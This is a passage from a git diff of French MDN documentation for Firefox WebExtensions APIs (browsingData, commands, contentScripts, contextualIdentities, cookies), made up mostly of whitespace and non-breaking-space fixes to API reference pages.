devez indiquer ici un nom d'hôte, sans protocole (par exemple : "google.com" et non https\://google.com"). Vous pouvez utiliser l'interface [`URL`](/fr/docs/Web/API/URL) pour analyser une URL brute et récupérer uniquement le nom d'hôte. Les sous-domaines d'un nom d'hôte donné ne seront pas supprimés: vous devez explicitement lister les sous-domaines. + Vous devez indiquer ici un nom d'hôte, sans protocole (par exemple : "google.com" et non https\://google.com"). Vous pouvez utiliser l'interface [`URL`](/fr/docs/Web/API/URL) pour analyser une URL brute et récupérer uniquement le nom d'hôte. Les sous-domaines d'un nom d'hôte donné ne seront pas supprimés: vous devez explicitement lister les sous-domaines. - `originTypes` {{optional_inline}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/remove/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/remove/index.md index adabcdd691..604ef27f9c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/remove/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/remove/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData/remove Supprime les données de navigation spécifiées. -Les données de navigation à supprimer sont spécifiées dans l'option `dataTypes`, qui est un objet {{WebExtAPIRef("browsingData.DataTypeSet")}}. +Les données de navigation à supprimer sont spécifiées dans l'option `dataTypes`, qui est un objet {{WebExtAPIRef("browsingData.DataTypeSet")}}. Vous pouvez utiliser l'option `removalOptions`, qui est un objet {{WebExtAPIRef("browsingData.RemovalOptions")}}, pour contrôler à quelle distance remonter dans le temps pour supprimer des données et supprimer les données uniquement à partir de pages Web normales ou pour supprimer des données hébergées d'applications et extensions aussi. diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removecache/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removecache/index.md index 3e99e5f7f6..9a1c0ada42 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removecache/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removecache/index.md @@ -16,7 +16,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData/removeCache Effacer le cache du navigateur. -Notez que cette fonction puisse prendre un objet {{WebExtAPIRef("browsingData.RemovalOptions")}}, elle sera ignorée. Le cache entier est toujours effacé lors de l'utilisation de cette fonction. +Notez que cette fonction puisse prendre un objet {{WebExtAPIRef("browsingData.RemovalOptions")}}, elle sera ignorée. Le cache entier est toujours effacé lors de l'utilisation de cette fonction. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removecookies/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removecookies/index.md index 942402edba..4b722dc268 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removecookies/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removecookies/index.md @@ -16,7 +16,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData/removeCookies Efface les cookies du navigateur -Vous pouvez utiliser le paramètre `removalOptions`, qui est un objet {{WebExtAPIRef("browsingData.RemovalOptions")}} pour : +Vous pouvez utiliser le paramètre `removalOptions`, qui est un objet {{WebExtAPIRef("browsingData.RemovalOptions")}} pour : - Efface seulement les cookies créés après un temps donné - Contrôlez si les cookies doivent être supprimés uniquement à partir des pages Webnormales ou si vous souhaitez supprimer les cookies des applications et des extensions hébergées. diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removehistory/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removehistory/index.md index a26942c835..747a3d5e30 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removehistory/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/removehistory/index.md @@ -16,7 +16,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData/removeHistory Efface l'enregistrement des pages Web que l'utilisateur a visité (historique de navigation). -Vous pouvez utiliser le paramètre `removalOptions`, qui est un objet {{WebExtAPIRef("browsingData.RemovalOptions")}} pour : +Vous pouvez utiliser le paramètre `removalOptions`, qui est un objet {{WebExtAPIRef("browsingData.RemovalOptions")}} pour : - Effacer uniquement les eenregistrements des pages Web visitées après un certain temps. - Contrôlez si vous souhaitez effacer uniquement les enregistrements des pages web normales ou effacer les enregistrements des applications hébergées et des extensions. diff --git a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/settings/index.md b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/settings/index.md index 57bb718e2e..4ce866534e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/browsingdata/settings/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/browsingdata/settings/index.md @@ -37,13 +37,13 @@ Aucun. Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet contenant les informations sur les paramètres. Cet objet a trois propriétés : - `options` - - : `{{WebExtAPIRef("browsingData.RemovalOptions")}}`. Un objet `RemovalOptions` décrivant les options de suppression actuellement sélectionnées. + - : `{{WebExtAPIRef("browsingData.RemovalOptions")}}`. Un objet `RemovalOptions` décrivant les options de suppression actuellement sélectionnées. - `dataToRemove` - : `{{WebExtAPIRef("browsingData.DataTypeSet")}}`. Cela contiendra une propriété pour chaque type de données pouvant être basculé dans l'interface utilisateur du navigateur. Chaque propriété aura une valeur `true` si ce type est sélectionné pour la suppression et `false` dans le cas contraire. - `dataRemovalPermitted` - - : `{{WebExtAPIRef("browsingData.DataTypeSet")}}`. Cela contiendra une propriété pour chaque type de données pouvant être basculé dans l'interface utilisateur du navigateur. Chacune aura la valeur `true` si l'administrateur du périphérique a autorisé l'utilisateur à supprimer ce type, et `false` dans le cas contraire. + - : `{{WebExtAPIRef("browsingData.DataTypeSet")}}`. Cela contiendra une propriété pour chaque type de données pouvant être basculé dans l'interface utilisateur du navigateur. Chacune aura la valeur `true` si l'administrateur du périphérique a autorisé l'utilisateur à supprimer ce type, et `false` dans le cas contraire. -Si une erreur se produit, la promise sera rejetée avec un message d'erreur. +Si une erreur se produit, la promise sera rejetée avec un message d'erreur. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/commands/command/index.md b/files/fr/mozilla/add-ons/webextensions/api/commands/command/index.md index a25670f205..a22c7c0c52 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/commands/command/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/commands/command/index.md @@ -15,16 +15,16 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/commands/Command --- {{AddonSidebar()}} -Information sur une commande. Cela contient les informations spécifiées pour la commande dans la [`commande` clef manifest.json](/fr/Add-ons/WebExtensions/manifest.json/commands). +Information sur une commande. Cela contient les informations spécifiées pour la commande dans la [`commande` clef manifest.json](/fr/Add-ons/WebExtensions/manifest.json/commands). Un tableau de ces objets est renvoyé par {{WebExtAPIRef('commands.getAll()')}}. ## Type -Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivantes : +Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivantes : - `name`{{optional_inline}} - - : `string`. Nom de la commande. Cela sera passé dans l'écouteur de l'événement {{WebExtAPIRef('commands.onCommand')}}. + - : `string`. Nom de la commande. Cela sera passé dans l'écouteur de l'événement {{WebExtAPIRef('commands.onCommand')}}. - `description`{{optional_inline}} - : `string`. Description de cette commande. Ceci est principalement utilisé pour expliquer à l'utilisateur ce que cette commande fait. - `shortcut`{{optional_inline}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/commands/getall/index.md b/files/fr/mozilla/add-ons/webextensions/api/commands/getall/index.md index 8730added4..ca0771b03e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/commands/getall/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/commands/getall/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/commands/getAll Obient toutes les commandes pour l'exécution que vous avez enregistré à l'aide d'une des [`commandes` clef du manifest.json](/fr/Add-ons/WebExtensions/manifest.json/commands). -Les commandes sont renvoyées sous la forme d'un tableau d'objets {{WebExtAPIRef('commands.Command')}}. Altenativement, si vous utilisez la version de base promise de l'API, `browser.commands.getAll()`, les commandes sont passées dans l'argument `onFulfilled` à [`Promise.then()`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise/then). +Les commandes sont renvoyées sous la forme d'un tableau d'objets {{WebExtAPIRef('commands.Command')}}. Altenativement, si vous utilisez la version de base promise de l'API, `browser.commands.getAll()`, les commandes sont passées dans l'argument `onFulfilled` à [`Promise.then()`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise/then). C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). @@ -33,7 +33,7 @@ Aucun. ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera accompli avec un tableau d'objets `{{WebExtAPIRef('commands.Command')}}`, un pour chaque commande enregistrée pour l'extension. Si aucune n'a été enregistrée, le tableau sera vide. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera accompli avec un tableau d'objets `{{WebExtAPIRef('commands.Command')}}`, un pour chaque commande enregistrée pour l'extension. Si aucune n'a été enregistrée, le tableau sera vide. ## Compatibilité du navigateur @@ -43,9 +43,9 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ```js function logCommands(commands) { - commands.forEach(function(command) { - console.log(command); - }); + commands.forEach(function(command) { + console.log(command); + }); } var getCommands = browser.commands.getAll(); diff --git a/files/fr/mozilla/add-ons/webextensions/api/commands/oncommand/index.md b/files/fr/mozilla/add-ons/webextensions/api/commands/oncommand/index.md index 9e249adf85..7f4aa505f5 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/commands/oncommand/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/commands/oncommand/index.md @@ -13,7 +13,7 @@ tags: - onCommand translation_of: Mozilla/Add-ons/WebExtensions/API/commands/onCommand --- -{{AddonSidebar()}}Lancer quand une commande est exécutée à l'aide de son raccourci clavier associé.L'écouteur reçoit le nom de la commande. Cela correspond au nom donnée à la commande dans une [entrée manifest.json](/fr/Add-ons/WebExtensions/manifest.json/commands). +{{AddonSidebar()}}Lancer quand une commande est exécutée à l'aide de son raccourci clavier associé.L'écouteur reçoit le nom de la commande. Cela correspond au nom donnée à la commande dans une [entrée manifest.json](/fr/Add-ons/WebExtensions/manifest.json/commands). ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/contentscripts/index.md b/files/fr/mozilla/add-ons/webextensions/api/contentscripts/index.md index 14ad5b9ea9..278b1be528 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/contentscripts/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/contentscripts/index.md @@ -25,7 +25,7 @@ Il n'y a pas de permission de l'API `contentScripts`, mais une extension doit di ## Types - {{WebExtAPIRef("contentScripts.RegisteredContentScript")}} - - : Un objet de ce type est renvoyé par la fonction {{WebExtAPIRef("contentScripts.register()")}}. Il représente les scripts de contenu enregistrés par cet appel et peut être utilisé pour annuler l'enregistrement du script de contenu. + - : Un objet de ce type est renvoyé par la fonction {{WebExtAPIRef("contentScripts.register()")}}. Il représente les scripts de contenu enregistrés par cet appel et peut être utilisé pour annuler l'enregistrement du script de contenu. ## Fonctions diff --git a/files/fr/mozilla/add-ons/webextensions/api/contentscripts/register/index.md b/files/fr/mozilla/add-ons/webextensions/api/contentscripts/register/index.md index 4102732bdc..f220935b09 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/contentscripts/register/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/contentscripts/register/index.md @@ -30,7 +30,7 @@ var registering = browser.contentScripts.register( - `contentScriptOptions` - - : `object`. Un objet `RegisteredContentScriptOptions` représentant les scripts de contenu à enregistrer. Sa syntaxe est similaire à celle des objets du tableau de clés de manifest [`content_scripts`](/fr/Add-ons/WebExtensions/manifest.json/content_scripts). Les différences sont : + - : `object`. Un objet `RegisteredContentScriptOptions` représentant les scripts de contenu à enregistrer. Sa syntaxe est similaire à celle des objets du tableau de clés de manifest [`content_scripts`](/fr/Add-ons/WebExtensions/manifest.json/content_scripts). Les différences sont : - les noms de propriété utilisent camelCase plutôt que des traits de soulignement (par exemple, `excludeMatches`, pas `exclude_matches` - les propriétés `js` et `css` vous permettent d'enregistrer des chaînes ainsi que des URL, leur syntaxe doit donc distinguer ces types. @@ -68,7 +68,7 @@ Actuellement, les scripts de contenu ne sont pas enregistrés lorsque la page d' ## Exemples -Cet exemple enregistre le script de contenu `defaultCode` pour toutes les URL `.org` : +Cet exemple enregistre le script de contenu `defaultCode` pour toutes les URL `.org` : ```js const defaultHosts = "*://*.org/*"; diff --git a/files/fr/mozilla/add-ons/webextensions/api/contentscripts/registeredcontentscript/index.md b/files/fr/mozilla/add-ons/webextensions/api/contentscripts/registeredcontentscript/index.md index 7fca953fa0..25a757f610 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/contentscripts/registeredcontentscript/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/contentscripts/registeredcontentscript/index.md @@ -14,7 +14,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/contentScripts/RegisteredConte --- {{AddonSidebar()}} -Un `RegisteredContentScript` est renvoyé par un appel à {{WebExtAPIRef("contentScripts.register()")}} et représente les scripts de contenu enregistrés dans cet appel. +Un `RegisteredContentScript` est renvoyé par un appel à {{WebExtAPIRef("contentScripts.register()")}} et représente les scripts de contenu enregistrés dans cet appel. Il définit une seule fonction {{WebExtAPIRef("contentScripts.RegisteredContentScript.unregister()", "unregister()")}}, qui peut être utilisée pour annuler l'enregistrement des scripts de contenu. diff --git a/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/index.md b/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/index.md index 3c544d59b2..6c3a2b06ba 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/index.md @@ -7,9 +7,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/contextualIdentities --- {{AddonSidebar}} -Travailler avec des identités contextuelles : lister, créer, supprimer et mettre à jour des identités contextuelles. +Travailler avec des identités contextuelles : lister, créer, supprimer et mettre à jour des identités contextuelles. -Les « identités contextuelles », également appelées « conteneurs », sont des fonctions de navigation qui répondent à l’idée que les utilisateurs assument plusieurs identités lorsqu’ils naviguent sur le web, et souhaitent maintenir une certaine séparation entre ces identités. Par exemple, un utilisateur peut considérer que son « identité de travail » est distincte de son « identité personnelle » et ne veut pas partager les cookies entre ces deux contextes. +Les « identités contextuelles », également appelées « conteneurs », sont des fonctions de navigation qui répondent à l’idée que les utilisateurs assument plusieurs identités lorsqu’ils naviguent sur le web, et souhaitent maintenir une certaine séparation entre ces identités. Par exemple, un utilisateur peut considérer que son « identité de travail » est distincte de son « identité personnelle » et ne veut pas partager les cookies entre ces deux contextes. Avec la fonctionnalité d’identités contextuelles, chaque identité contextuelle a un nom, une couleur et une icône. De nouveaux onglets peuvent être assignés à une identité et le nom, l’icône et la couleur apparaîtront dans la barre d’adresse. En interne, chaque identité possède son propre magasin de cookies qui n’est pas partagé avec d’autres onglets… @@ -17,7 +17,7 @@ Avec la fonctionnalité d’identités contextuelles, chaque identité contextue Avant Firefox 57, l’API `contextualIdentities` n’était disponible que si la fonctionnalité d’identités contextuelles était activée. Si une extension essayait d’utiliser l’API `contextualIdentities` sans activer la fonctionnalité, les appels de méthode résolvaient leurs promesses avec `false`. -À partir de Firefox 57, si une extension utilisant l’API `contextualIdentities` est installée, la fonctionnalité d’identités contextuelles est automatiquement activée. Notez cependant qu’il est toujours possible pour l’utilisateur de désactiver la fonctionnalité en utilisant la préférence « privacy.userContext.enabled ». Si cela se produit, les appels de méthode `contextualIdentities` rejetteront leurs promesses avec un message d’erreur. +À partir de Firefox 57, si une extension utilisant l’API `contextualIdentities` est installée, la fonctionnalité d’identités contextuelles est automatiquement activée. Notez cependant qu’il est toujours possible pour l’utilisateur de désactiver la fonctionnalité en utilisant la préférence « privacy.userContext.enabled ». Si cela se produit, les appels de méthode `contextualIdentities` rejetteront leurs promesses avec un message d’erreur. Pour plus d’informations sur les identités contextuelles, consultez [ce guide](https://wiki.mozilla.org/Security/Contextual_Identity_Project/Containers). diff --git a/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/oncreated/index.md b/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/oncreated/index.md index abdfb58477..d8992e40e1 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/oncreated/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/oncreated/index.md @@ -14,7 +14,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/contextualIdentities/onCreated --- {{AddonSidebar()}} -Lancé lorsqu'une nouvelle identité contextuelle est créée. Les identités contextuelles peuvent être créées par des extensions en utilisant l'API `contextualIdentities`, ou directement par l'utilisateur, en utilisant l'interface utilisateur du navigateur. +Lancé lorsqu'une nouvelle identité contextuelle est créée. Les identités contextuelles peuvent être créées par des extensions en utilisant l'API `contextualIdentities`, ou directement par l'utilisateur, en utilisant l'interface utilisateur du navigateur. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/onremoved/index.md b/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/onremoved/index.md index 812cfe9f3a..79ddafb6c1 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/onremoved/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/onremoved/index.md @@ -14,7 +14,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/contextualIdentities/onRemoved --- {{AddonSidebar()}} -Lancé lorsqu'une nouvelle identité contextuelle est supprimée. Les identités contextuelles peuvent être supprimées par des extensions en utilisant l'API `contextualIdentities`, ou directement par l'utilisateur, en utilisant l'interface utilisateur du navigateur. +Lancé lorsqu'une nouvelle identité contextuelle est supprimée. Les identités contextuelles peuvent être supprimées par des extensions en utilisant l'API `contextualIdentities`, ou directement par l'utilisateur, en utilisant l'interface utilisateur du navigateur. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/query/index.md b/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/query/index.md index 6589df93ab..19e87fdac5 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/query/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/contextualidentities/query/index.md @@ -37,7 +37,7 @@ var getContext = browser.contextualIdentities.query( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un tableau d'objets {{WebExtAPIRef('contextualIdentities.ContextualIdentity', 'ContextualIdentity')}} chacun décrivant une seule identité. Si la fonctionnalité d'identités contextuelles n'est pas activée, la promesse est rejetée. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un tableau d'objets {{WebExtAPIRef('contextualIdentities.ContextualIdentity', 'ContextualIdentity')}} chacun décrivant une seule identité. Si la fonctionnalité d'identités contextuelles n'est pas activée, la promesse est rejetée. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/cookies/cookie/index.md b/files/fr/mozilla/add-ons/webextensions/api/cookies/cookie/index.md index 9fb9da9555..9fb3f35e8f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/cookies/cookie/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/cookies/cookie/index.md @@ -28,9 +28,9 @@ Les valeurs de ce type sont des objets, qui peuvent contenir les propriétés su - `firstPartyDomain` - : Une `chaîne` représentant le domaine de la première partie associé au cookie. Cela sera une chaine vide si le cookie a été défini alors que l'isolation de la première partie est désactivée. Voir [Isolement de la première partie](/fr/Add-ons/WebExtensions/API/cookies#Isolement_de_la_première_partie). - `hostOnly` - - : Un `booléen`, `true` si le cookie est un cookie hôte uniquement (c'est à dire que l'hôte de la requête doit correspondre exactement au domaine du cookie), ou `false` dans la case contraire. + - : Un `booléen`, `true` si le cookie est un cookie hôte uniquement (c'est à dire que l'hôte de la requête doit correspondre exactement au domaine du cookie), ou `false` dans la case contraire. - `httpOnly` - - : Un `booléen`, `true` si le cookie est marqué comme HttpOnly (c'est à dire le cookie est inaccessible aux scripts côté client), ou `false` dans le cas contraire. + - : Un `booléen`, `true` si le cookie est marqué comme HttpOnly (c'est à dire le cookie est inaccessible aux scripts côté client), ou `false` dans le cas contraire. - `name` - : Une `chaîne` représentant le nom du cookie. - `path` @@ -52,7 +52,7 @@ Les valeurs de ce type sont des objets, qui peuvent contenir les propriétés su ## Exemples -La plupart des méthodes de l'API cookies impliquent qu'un objet `Cookie` soit utilisé en tant que paramètre d'entrée ou en tant que partie de la valeur retournée. Par exemple, un appel à {{WebExtAPIRef("cookies.getAll()")}} retourne un tableau d'objets `Cookie`. +La plupart des méthodes de l'API cookies impliquent qu'un objet `Cookie` soit utilisé en tant que paramètre d'entrée ou en tant que partie de la valeur retournée. Par exemple, un appel à {{WebExtAPIRef("cookies.getAll()")}} retourne un tableau d'objets `Cookie`. Dans l'exemple ci-dessous, nous avons demandé tous les cookies, puis enregistré quelque-unes des valeurs de chacun des objets `Cookie` : diff --git a/files/fr/mozilla/add-ons/webextensions/api/cookies/get/index.md b/files/fr/mozilla/add-ons/webextensions/api/cookies/get/index.md index 5fd142822f..dacffb440c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/cookies/get/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/cookies/get/index.md @@ -15,9 +15,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/cookies/get --- {{AddonSidebar()}} -La méthode **`get()`** de l'API {{WebExtAPIRef("cookies")}} récupère les informations d'un seul cookie, par son nom et son URL. +La méthode **`get()`** de l'API {{WebExtAPIRef("cookies")}} récupère les informations d'un seul cookie, par son nom et son URL. -Si plus d'un cookie portant le même nom existent pour une URL donnée, celui contenant le chemin le plus long sera retourné. Pour les cookies ayant la même longueur de chemin, le plus ancien cookie sera retourné. Si aucun cookie ne correspond alors `null` est retourné. +Si plus d'un cookie portant le même nom existent pour une URL donnée, celui contenant le chemin le plus long sera retourné. Pour les cookies ayant la même longueur de chemin, le plus ancien cookie sera retourné. Si aucun cookie ne correspond alors `null` est retourné. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). @@ -33,16 +33,16 @@ var getting = browser.cookies.get( - `details` - - : Un `objet` contenant les informations pouvant être utilisées pour récupérer un cookie. Il peut inclure les propriétés suivantes : + - : Un `objet` contenant les informations pouvant être utilisées pour récupérer un cookie. Il peut inclure les propriétés suivantes : - `firstPartyDomain`{{optional_inline}} - : Une `chaîne` représentant le domaine de première partie avec lequel le cookie à récupérer est associé. Cette propriété doit être fournie si l'isolation de la première partie est activée sur le navigateur. Voir [Isolement de la première partie](/fr/Add-ons/WebExtensions/API/cookies#Isolement_de_la_première_partie). - `name` - - : Une `chaîne` représentant le nom du cookie à récupérer. + - : Une `chaîne` représentant le nom du cookie à récupérer. - `storeId`{{optional_inline}} - - : Une `chaîne` représentant l'ID du {{WebExtAPIRef("cookies.CookieStore", "cookie store")}} dans lequel rechercher le cookie (tel que renvoyé par {{WebExtAPIRef("cookies.getAllCookieStores()")}}). Par défault, le cookie store du contexte d'exécution actuel sera utilisé. + - : Une `chaîne` représentant l'ID du {{WebExtAPIRef("cookies.CookieStore", "cookie store")}} dans lequel rechercher le cookie (tel que renvoyé par {{WebExtAPIRef("cookies.getAllCookieStores()")}}). Par défault, le cookie store du contexte d'exécution actuel sera utilisé. - `url` - - : Une `chaîne` représentant l'URL avec laquelle le cookie à récupérer est associé. Cet argument peut être une URL complète, auquel cas toute donnée suivant le chemin d'URL (par exemple la chaîne de requête) est simplement ignorée. Si les [permissions d'hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions) pour cette URL ne sont pas spécifiées dans le [fichier manifeste](/fr/Add-ons/WebExtensions/manifest.json) de l'extension, l'appel de l'API échouera. + - : Une `chaîne` représentant l'URL avec laquelle le cookie à récupérer est associé. Cet argument peut être une URL complète, auquel cas toute donnée suivant le chemin d'URL (par exemple la chaîne de requête) est simplement ignorée. Si les [permissions d'hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions) pour cette URL ne sont pas spécifiées dans le [fichier manifeste](/fr/Add-ons/WebExtensions/manifest.json) de l'extension, l'appel de l'API échouera. ### Valeur retournée @@ -54,7 +54,7 @@ Une [`Promise`](fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui ser ## Exemples -Cet exemple tente d'obtenir le cookie nommé "favourite-colour", associé à l'URL de l'onglet actuellement actif : +Cet exemple tente d'obtenir le cookie nommé "favourite-colour", associé à l'URL de l'onglet actuellement actif : ```js function logCookie(cookie) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/cookies/getall/index.md b/files/fr/mozilla/add-ons/webextensions/api/cookies/getall/index.md index 5a4d31b363..813be1566e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/cookies/getall/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/cookies/getall/index.md @@ -52,7 +52,7 @@ var getting = browser.cookies.getAll( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un tableau d'objets `{{WebExtAPIRef('cookies.Cookie')}}` correspondant aux propriétés données dans le paramètre `details`. Seuls les cookies non expirés sont renvoyés. Les cookies retournés seront triés par longueur de chemin, du plus long au plus court. Si plusieurs cookies ont la même longueur de chemin, ceux dont l'heure de création est la plus proche seront les premiers. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un tableau d'objets `{{WebExtAPIRef('cookies.Cookie')}}` correspondant aux propriétés données dans le paramètre `details`. Seuls les cookies non expirés sont renvoyés. Les cookies retournés seront triés par longueur de chemin, du plus long au plus court. Si plusieurs cookies ont la même longueur de chemin, ceux dont l'heure de création est la plus proche seront les premiers. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/cookies/getallcookiestores/index.md b/files/fr/mozilla/add-ons/webextensions/api/cookies/getallcookiestores/index.md index 11b7a7b761..ab00b62720 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/cookies/getallcookiestores/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/cookies/getallcookiestores/index.md @@ -52,7 +52,7 @@ var getting = browser.cookies.getAllCookieStores(); getting.then(logStores); ``` -Chaque membre du tableau `cookieStores` est un objet {{WebExtAPIRef("cookies.CookieStore")}}. +Chaque membre du tableau `cookieStores` est un objet {{WebExtAPIRef("cookies.CookieStore")}}. {{WebExtExamples}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/cookies/index.md b/files/fr/mozilla/add-ons/webextensions/api/cookies/index.md index c20c15cdc0..c8fde8bad7 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/cookies/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/cookies/index.md @@ -16,36 +16,36 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/cookies Permet aux extensions d'obtenir et de définir des cookies, et d'être averti quand ils changent. -Pour utiliser cette API, vous devez inclure l'[API permission](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) "cookies" dans votre fichier [manifest.json](/fr/Add-ons/WebExtensions/manifest.json), ainsi que les [permissions d'hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) pour les sites dont vous devez accéder aux cookies. Voir les [permissions cookies](/fr/Add-ons/WebExtensions/API/cookies#Permissions). +Pour utiliser cette API, vous devez inclure l'[API permission](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) "cookies" dans votre fichier [manifest.json](/fr/Add-ons/WebExtensions/manifest.json), ainsi que les [permissions d'hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) pour les sites dont vous devez accéder aux cookies. Voir les [permissions cookies](/fr/Add-ons/WebExtensions/API/cookies#Permissions). ## Permissions -Pour utiliser cette API, un module complémentaire doit spécifier la [permission d'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) "cookies" dans son manifest, ainsi que les [permissions host](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) pour tous les sites pour lesquels il souhaite accéder aux cookies. L'add-on peut lire ou écrire des cookies qui pourraient être lus ou écrits par une URL correspondant aux permissions de l'hôte. Par exemple : +Pour utiliser cette API, un module complémentaire doit spécifier la [permission d'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) "cookies" dans son manifest, ainsi que les [permissions host](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) pour tous les sites pour lesquels il souhaite accéder aux cookies. L'add-on peut lire ou écrire des cookies qui pourraient être lus ou écrits par une URL correspondant aux permissions de l'hôte. Par exemple : - `http://*.example.com/` - : Un module complémentaire avec cette autorisation d'hôte peut : - - Lire un cookie non sécurisé pour `www.example.com`, avec n'importe quel chemin. - - Écrire un cookie ou non sécurisé pour `www.example.com`, avec n'importe quel chemin. + - Lire un cookie non sécurisé pour `www.example.com`, avec n'importe quel chemin. + - Écrire un cookie ou non sécurisé pour `www.example.com`, avec n'importe quel chemin. Il ne peut _pas_ : - - Lire un cookie sécurisé pour `www.example.com`. + - Lire un cookie sécurisé pour `www.example.com`. - `http://www.example.com/` - : Un module complémentaire avec cette permission d'hôte peut : - - Lire un 